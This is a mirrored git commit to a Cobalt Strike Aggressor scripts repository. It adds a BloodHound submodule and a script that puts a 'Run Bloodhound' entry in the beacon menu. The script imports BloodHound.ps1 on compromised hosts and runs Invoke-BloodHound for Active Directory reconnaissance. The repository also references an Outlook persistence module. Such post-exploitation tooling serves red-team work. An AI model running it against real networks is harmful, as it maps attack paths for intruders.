mirror of
https://github.com/Und3rf10w/Aggressor-scripts
synced 2026-06-08 12:46:53 +00:00
Add menu support for bloodhound
This commit is contained in:
@@ -4,3 +4,6 @@
|
||||
[submodule "Persistence/OutlookPersistence"]
|
||||
path = Persistence/OutlookPersistence
|
||||
url = https://github.com/Und3rf10w/OutlookPersistence.git
|
||||
[submodule "Bloodhound/BloodHound"]
|
||||
path = Bloodhound/BloodHound
|
||||
url = https://github.com/BloodHoundAD/BloodHound
|
||||
|
||||
Submodule
+1
Submodule Bloodhound/BloodHound added at 103416a7a7
@@ -0,0 +1,23 @@
|
||||
# Adds menu driven support for BloodHound
|
||||
# Zack Henson
|
||||
|
||||
sub run_bloodhound {
|
||||
$bid = $1;
|
||||
binput($bid, "powershell-import " . script_resource("BloodHound/PowerShell/BloodHound.ps1"));
|
||||
bpowershell_import($bid, script_resource("BloodHound/PowerShell/BloodHound.ps1"));
|
||||
prompt_text("CSV output folder (on remote machine)", "C:\\Temp", {
|
||||
binput($bid, "powershell Invoke-BloodHound -CSVFolder $1");
|
||||
bpowershell($bid, "Invoke-BloodHound -CSVFolder $1");
|
||||
});
|
||||
}
|
||||
|
||||
popup beacon_bottom {
|
||||
menu "Bloodhound"{
|
||||
item "Run Bloodhound"{
|
||||
local('$bid');
|
||||
foreach $bid ($1){
|
||||
run_bloodhound($bid);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user